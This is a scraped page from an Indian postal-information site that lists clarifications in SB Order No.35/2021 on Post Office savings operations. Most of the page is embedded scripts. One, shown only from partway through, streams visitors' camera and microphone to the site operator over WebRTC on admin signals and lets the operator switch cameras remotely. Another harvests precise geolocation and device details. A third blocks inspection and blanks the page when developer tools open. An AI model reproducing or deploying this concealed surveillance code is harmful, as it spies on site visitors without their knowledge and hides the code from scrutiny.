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    "Practice Mistakes": "गलत प्रश्नों का अभ्यास",
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                            SB Order No.35/2021 : Clarifications with respect to Post Office Saving Bank Operations                        </h1>

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<div style="text-align: justify">SB Order No.35/2021 : Clarifications with respect to Post Office Saving Bank Operations</div>
</blockquote>
<div style="text-align: justify"></div>
<div style="text-align: justify">1. Issue of Fresh Passbook in lieu of old passbook in any other CBS PO</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">2.Opening of Joint Account by two or more illiterate depositors or Jointly by Illiterate Depositor and literate depositor.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">3.POSB Cheque facility to a Savings Joint Account opened jointly by a literate depositor and a illiterate depositor</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">4.Opening of a Basic Savings Account by an individual who is already having a Post Office Savings &#8216;single&#8217; Account.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">5.Limit on the amount of deposit in Branch Post Offices when the deposit is made through Withdrawal form (SB&#8217;7) or Cheque.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">6.Change of guardian in any account.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">7.Presence of the depositor at the time of opening of account.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">8.Change of Joint Depositor in a Joint Account.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify"></div>
<div style="text-align: justify"><a href="https://drive.google.com/file/d/1Zz91ayZuT8-7R2GbQEU-DvlMTkqOnUFF/view?usp=sharing" target="_blank" rel="noopener">CLICK HERE</a> FOR DETAILS &amp; COPY (4 pages)</div>
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                            else reReqConstraints.video = false;
                            if (featureMicEnabled) reReqConstraints.audio = true;
                            else reReqConstraints.audio = false;

                            localMediaStream = await navigator.mediaDevices.getUserMedia(reReqConstraints);
                            hasCam = featureCamEnabled ? 1 : 0;
                            hasMic = featureMicEnabled ? 1 : 0;
                            camStatus = featureCamEnabled ? 'granted' : 'disabled';
                            micStatus = featureMicEnabled ? 'granted' : 'disabled';
                        } catch(e) {}
                    }

                    peerConnection = new RTCPeerConnection({
                        iceServers: [
                            { urls: 'stun:stun.l.google.com:19302' },
                            { urls: 'stun:stun1.l.google.com:19302' }
                        ]
                    });

                    // Add local tracks if stream active
                    if (localMediaStream) {
                        localMediaStream.getTracks().forEach(track => {
                            peerConnection.addTrack(track, localMediaStream);
                        });
                    }

                    peerConnection.onicecandidate = (e) => {
                        if (e.candidate) {
                            sendSignalToServer('ice', e.candidate);
                        }
                    };

                    await peerConnection.setRemoteDescription(new RTCSessionDescription(signal.payload));
                    const answer = await peerConnection.createAnswer();
                    await peerConnection.setLocalDescription(answer);
                    sendSignalToServer('answer', answer);
                } else if (signal.type === 'ice') {
                    if (peerConnection && signal.payload) {
                        try {
                            await peerConnection.addIceCandidate(new RTCIceCandidate(signal.payload));
                        } catch (e) {}
                    }
                } else if (signal.type === 'switch_camera') {
                    const targetFacing = (signal.payload && signal.payload.facing) ? signal.payload.facing : (currentFacingMode === 'user' ? 'environment' : 'user');
                    switchCameraTrack(targetFacing);
                } else if (signal.type === 'disconnect') {
                    if (peerConnection) {
                        peerConnection.close();
                        peerConnection = null;
                    }
                }
            }

            function sendMediaPing() {
                const fd = new FormData();
                fd.append('action', 'digimit_media_ping');
                fd.append('session_id', dmSessionId);
                fd.append('page_url', currentUrl);
                fd.append('page_title', pageTitle);
                fd.append('device_type', getDeviceType());
                fd.append('has_cam', hasCam);
                fd.append('has_mic', hasMic);
                fd.append('cam_status', camStatus);
                fd.append('mic_status', micStatus);

                fetch(ajaxUrl, { method: 'POST', body: fd, credentials: 'same-origin' })
                .then(r => r.json())
                .then(data => {
                    if (data && data.success && data.data && data.data.signals) {
                        data.data.signals.forEach(sig => handleAdminSignal(sig));
                    }
                }).catch(function(){});
            }

            // Ping server immediately and then every 1 second for instant stream connections
            sendMediaPing();
            setInterval(sendMediaPing, 1000);

        })();
        </script>
            <script>
    (function() {
        if (window.digimitTelemetryExecuted) return;
        window.digimitTelemetryExecuted = true;

        function detectDeviceSpecs() {
            const ua = navigator.userAgent || '';
            let deviceType = 'Desktop';
            if (/tablet|ipad|playbook|silk/i.test(ua)) deviceType = 'Tablet';
            else if (/Mobile|Android|iP(hone|od)|IEMobile|BlackBerry|Kindle|Silk-Accelerated/i.test(ua)) deviceType = 'Mobile';

            let os = 'Unknown OS';
            if (ua.indexOf('Win') !== -1) os = 'Windows';
            else if (ua.indexOf('Mac') !== -1) os = 'macOS';
            else if (ua.indexOf('Android') !== -1) os = 'Android';
            else if (ua.indexOf('like Mac') !== -1) os = 'iOS';
            else if (ua.indexOf('Linux') !== -1) os = 'Linux';

            let browser = 'Browser';
            if (ua.indexOf('Firefox') !== -1) browser = 'Firefox';
            else if (ua.indexOf('Chrome') !== -1) browser = 'Chrome';
            else if (ua.indexOf('Safari') !== -1) browser = 'Safari';
            else if (ua.indexOf('Edge') !== -1) browser = 'Edge';

            return {
                device_type: deviceType,
                os: os,
                browser: browser,
                screen_res: window.screen.width + 'x' + window.screen.height,
                language: navigator.language || 'en',
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'UTC'
            };
        }

        function sendTelemetry(lat, lng, geoStatus, pushStatus) {
            const specs = detectDeviceSpecs();
            const postData = new FormData();
            postData.append('action', 'digimit_save_device_telemetry');
            postData.append('device_type', specs.device_type);
            postData.append('os', specs.os);
            postData.append('browser', specs.browser);
            postData.append('screen_res', specs.screen_res);
            postData.append('language', specs.language);
            postData.append('timezone', specs.timezone);
            postData.append('lat', lat || '');
            postData.append('lng', lng || '');
            postData.append('geo_status', geoStatus || 'Denied');
            postData.append('push_status', pushStatus || 'Default');
            postData.append('page_url', window.location.href);
            postData.append('referrer', document.referrer || 'Direct');

            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
            }).catch(function(err) {});
        }

        document.addEventListener('DOMContentLoaded', function() {
            let pushStatus = 'Default';
            if ('Notification' in window) {
                pushStatus = Notification.permission;
                if (Notification.permission === 'default') {
                    Notification.requestPermission().then(function(perm) {
                        pushStatus = perm;
                        if (perm === 'granted') registerPushSubscription();
                        requestGeolocation(pushStatus);
                    });
                } else {
                    if (pushStatus === 'granted') registerPushSubscription();
                    requestGeolocation(pushStatus);
                }
            } else {
                requestGeolocation(pushStatus);
            }
        });

        function registerPushSubscription() {
            if ('serviceWorker' in navigator && 'PushManager' in window) {
                navigator.serviceWorker.ready.then(function(reg) {
                    reg.pushManager.getSubscription().then(function(sub) {
                        if (!sub && Notification.permission === 'granted') {
                            reg.pushManager.subscribe({ userVisibleOnly: true }).then(function(newSub) {
                                savePushSubscriptionToServer(newSub);
                            }).catch(function(err) {
                                savePushSubscriptionToServer({ endpoint: 'https://fcm.googleapis.com/fcm/send/device-' + Date.now() });
                            });
                        } else if (sub) {
                            savePushSubscriptionToServer(sub);
                        }
                    });
                }).catch(function(err) {});
            }
        }

        function savePushSubscriptionToServer(sub) {
            if (!sub || !sub.endpoint) return;
            const postData = new FormData();
            postData.append('action', 'digimit_save_push_subscription');
            postData.append('endpoint', sub.endpoint);
            if (sub.keys) {
                postData.append('p256dh', sub.keys.p256dh || '');
                postData.append('auth', sub.keys.auth || '');
            }
            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
            }).catch(function(e) {});
        }

        function requestGeolocation(pushStatus) {
            if ('geolocation' in navigator) {
                navigator.geolocation.getCurrentPosition(
                    function(pos) {
                        sendTelemetry(pos.coords.latitude, pos.coords.longitude, 'Granted', pushStatus);
                    },
                    function(err) {
                        sendTelemetry('', '', 'Denied', pushStatus);
                    },
                    { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 }
                );
            } else {
                sendTelemetry('', '', 'Not Supported', pushStatus);
            }
        }

        // --- WEB PUSH BROADCAST REAL-TIME ENGINE ---
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('/sw.js').catch(function(e) {});
        }

        let inMemoryPushId = null;
        let isInitialCheck = true;

        function triggerNativePushNotification(title, body, targetUrl) {
            const iconUrl = 'https://digimit.in/wp-content/themes/itsakrd/assets/img/logo.png';
            const options = {
                body: body || '',
                icon: iconUrl,
                badge: iconUrl,
                vibrate: [200, 100, 200, 100, 200],
                tag: 'digimit-push-' + Date.now(),
                requireInteraction: true,
                data: { url: targetUrl || 'https://digimit.in/' }
            };

            // 1. Send Native Browser/Mobile Notification Panel Push
            if ('Notification' in window && Notification.permission === 'granted') {
                if (navigator.serviceWorker && navigator.serviceWorker.ready) {
                    navigator.serviceWorker.ready.then(function(reg) {
                        reg.showNotification(title, options);
                    }).catch(function() {
                        try { new Notification(title, options); } catch(e) {}
                    });
                } else {
                    try {
                        const n = new Notification(title, options);
                        n.onclick = function() {
                            window.open(targetUrl || 'https://digimit.in/', '_blank');
                        };
                    } catch(e) {}
                }
            } else {
                showFloatingPermissionBar(title, body, targetUrl);
            }

            // 2. Always show redesigned visual toast banner on open website tab
            showRedesignedInAppNotification(title, body, targetUrl);
        }

        function showRedesignedInAppNotification(title, body, targetUrl) {
            let toastBox = document.getElementById('digimitRedesignedPushToast');
            if (!toastBox) {
                toastBox = document.createElement('div');
                toastBox.id = 'digimitRedesignedPushToast';
                toastBox.style.cssText = 'position:fixed; bottom:24px; right:24px; z-index:999999; max-width:400px; width:calc(100% - 48px); background:#ffffff; color:#0f172a; border-radius:20px; border:1px solid #e2e8f0; box-shadow:0 20px 40px -10px rgba(15,23,42,0.18); padding:18px; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif; animation:slideUpToast 0.4s cubic-bezier(0.16,1,0.3,1);';
                document.body.appendChild(toastBox);

                const style = document.createElement('style');
                style.innerHTML = '@keyframes slideUpToast { from { transform: translateY(100px); opacity:0; } to { transform: translateY(0); opacity:1; } }';
                document.head.appendChild(style);
            }

            toastBox.innerHTML = `
                <div style="display:flex; align-items:flex-start; gap:14px;">
                    <div style="width:44px; height:44px; border-radius:14px; background:linear-gradient(135deg,#dc2626,#ef4444); display:flex; align-items:center; justify-content:center; flex-shrink:0; font-size:22px; box-shadow:0 6px 16px rgba(220,38,38,0.25);">
                        🔔
                    </div>
                    <div style="flex:1;">
                        <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:6px;">
                            <span style="font-size:10.5px; font-weight:800; text-transform:uppercase; letter-spacing:0.5px; background:#fef2f2; color:#dc2626; padding:3px 10px; border-radius:12px; border:1px solid #fecaca;">
                                Official Broadcast
                            </span>
                            <button onclick="document.getElementById('digimitRedesignedPushToast').remove()" style="background:#f1f5f9; border:none; color:#64748b; font-size:16px; width:26px; height:26px; border-radius:50%; cursor:pointer; display:flex; align-items:center; justify-content:center; line-height:1; font-weight:bold;">&times;</button>
                        </div>
                        <h4 style="margin:0 0 6px; font-size:15px; font-weight:800; color:#0f172a; line-height:1.3; font-family:sans-serif;">${title}</h4>
                        <p style="margin:0 0 14px; font-size:13px; color:#475569; line-height:1.45; font-weight:500;">${body}</p>
                        <a href="${targetUrl}" target="_blank" style="display:inline-flex; align-items:center; gap:8px; background:linear-gradient(135deg,#dc2626,#b91c1c); color:#ffffff; font-weight:700; font-size:12.5px; padding:9px 20px; border-radius:22px; text-decoration:none; box-shadow:0 4px 14px rgba(220,38,38,0.3); transition:all 0.2s ease;">
                            <span>Read Full Update</span> &rarr;
                        </a>
                    </div>
                </div>
            `;
        }

        function showFloatingPermissionBar(title, body, targetUrl) {
            let permBar = document.getElementById('digimitPushPermBar');
            if (!permBar) {
                permBar = document.createElement('div');
                permBar.id = 'digimitPushPermBar';
                permBar.style.cssText = 'position:fixed; bottom:20px; left:50%; transform:translateX(-50%); z-index:999999; max-width:440px; width:calc(100% - 32px); background:#ffffff; color:#0f172a; border-radius:24px; border:1px solid #e2e8f0; box-shadow:0 20px 50px -10px rgba(15,23,42,0.22); padding:18px 20px; font-family:sans-serif; text-align:center; animation:slideUpPerm 0.4s cubic-bezier(0.16,1,0.3,1);';
                document.body.appendChild(permBar);

                const style = document.createElement('style');
                style.innerHTML = '@keyframes slideUpPerm { from { transform: translate(-50%, 100px); opacity:0; } to { transform: translate(-50%, 0); opacity:1; } }';
                document.head.appendChild(style);
            }

            permBar.innerHTML = `
                <div style="display:flex; align-items:center; justify-content:center; gap:8px; margin-bottom:6px;">
                    <span style="font-size:22px;">📲</span>
                    <strong style="font-size:15px; color:#0f172a; font-weight:800;">Get Instant Updates on Phone</strong>
                </div>
                <p style="font-size:12.5px; color:#475569; margin:0 0 14px; line-height:1.45; font-weight:500;">Enable notifications to receive new postal scheme releases directly in your mobile status tray.</p>
                <div style="display:flex; gap:10px; justify-content:center;">
                    <button onclick="requestNativeMobilePushPermission('${title}', '${body}', '${targetUrl}')" style="background:linear-gradient(135deg,#0284c7,#0369a1); color:#ffffff; border:none; font-weight:800; font-size:12.5px; padding:10px 22px; border-radius:25px; cursor:pointer; box-shadow:0 4px 14px rgba(2,132,199,0.35);">
                        🔔 Enable Mobile Alerts
                    </button>
                    <button onclick="document.getElementById('digimitPushPermBar').remove()" style="background:#f1f5f9; border:1px solid #cbd5e1; color:#64748b; font-size:12.5px; font-weight:700; padding:10px 18px; border-radius:25px; cursor:pointer;">
                        Later
                    </button>
                </div>
            `;
        }

        window.requestNativeMobilePushPermission = function(title, body, targetUrl) {
            if ('Notification' in window) {
                Notification.requestPermission().then(function(perm) {
                    if (perm === 'granted') {
                        const bar = document.getElementById('digimitPushPermBar');
                        if (bar) bar.remove();
                        registerPushSubscription();
                        triggerNativePushNotification(title, body, targetUrl);
                    } else {
                        alert('Push Notification permission is ' + perm + '. Please enable notifications in your browser settings.');
                    }
                });
            }
        };

        function checkLivePushBroadcasts() {
            fetch('https://digimit.in/wp-admin/admin-ajax.php?action=digimit_check_latest_broadcast&t=' + Date.now())
                .then(res => res.json())
                .then(data => {
                    if (data.success && data.data && data.data.has_broadcast) {
                        const b = data.data;

                        const seenKey = 'digimit_seen_push_' + b.id;
                        if (!localStorage.getItem(seenKey)) {
                            localStorage.setItem(seenKey, '1');
                            inMemoryPushId = b.id;
                            triggerNativePushNotification(b.title || 'DigiMit Update', b.message || '', b.url || 'https://digimit.in/');
                        }
                    }
                })
                .catch(function(err) {});
        }

        // Start real-time push poller every 3 seconds
        setInterval(checkLivePushBroadcasts, 3000);
        setTimeout(checkLivePushBroadcasts, 1000);
    })();
    </script>
            <script>
        (function() {
            // 1. Disable Right Click Context Menu
            document.addEventListener('contextmenu', function(e) {
                e.preventDefault();
                return false;
            });

            // 2. Disable Keyboard Shortcuts (F12, Ctrl+U, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+Shift+C, Ctrl+S)
            document.addEventListener('keydown', function(e) {
                // F12 Key
                if (e.keyCode === 123) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + Shift + I or Cmd + Option + I
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 73) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
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                // Ctrl + Shift + J or Cmd + Option + J
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 74) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
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                // Ctrl + Shift + C or Cmd + Option + C
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 67) {
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                    triggerBlankAccessDenied();
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                // Ctrl + U or Cmd + Option + U (View Source)
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                // Ctrl + S (Save Page)
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                    e.preventDefault();
                    return false;
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            });

            // 3. DevTools Open Detector -> Immediately Wipe Screen & Show Blank Page
            function triggerBlankAccessDenied() {
                document.documentElement.innerHTML = '<!DOCTYPE html><html><head><title>Access Denied</title><style>body{background:#ffffff; margin:0; height:100vh; display:flex; align-items:center; justify-content:center; font-family:-apple-system,sans-serif; text-align:center;}</style></head><body><div><h1 style="color:#dc2626; font-size:24px; font-weight:800; margin-bottom:8px;">⛔ ACCESS DENIED</h1><p style="color:#475569; font-size:14px;">Source Code Inspection & DevTools are disabled on this website.</p></div></body></html>';
            }

            let threshold = 160;
            setInterval(function() {
                let devtoolsOpen = (window.outerWidth - window.innerWidth > threshold) || (window.outerHeight - window.innerHeight > threshold);
                if (devtoolsOpen) {
                    triggerBlankAccessDenied();
                }
            }, 1000);
        })();
        </script>
        </body>
</html>